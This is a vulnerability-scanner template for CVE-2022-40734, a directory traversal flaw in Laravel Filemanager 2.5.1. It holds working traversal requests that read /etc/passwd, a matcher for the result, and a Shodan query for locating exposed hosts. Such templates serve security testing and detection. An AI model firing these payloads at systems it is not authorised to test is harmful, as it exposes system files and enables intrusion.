id: CVE-2022-40734

info:
  name: UniSharp aka Laravel Filemanager v2.5.1 - Directory Traversal
  author: arafatansari
  severity: medium
  description: |
    UniSharp laravel-filemanager (aka Laravel Filemanager) through 2.5.1 allows download?working_dir=%2F.. directory traversal to read arbitrary files.
  reference:
    - https://github.com/UniSharp/laravel-filemanager/issues/1150
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40734
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-40734
    cwe-id: CWE-22
  metadata:
    shodan-query: http.html:"Laravel Filemanager"
    verified: "true"
  tags: cve,cve2022,laravel,unisharp,lfi,traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"
      - "{{BaseURL}}/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"

    stop-at-first-match: true
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"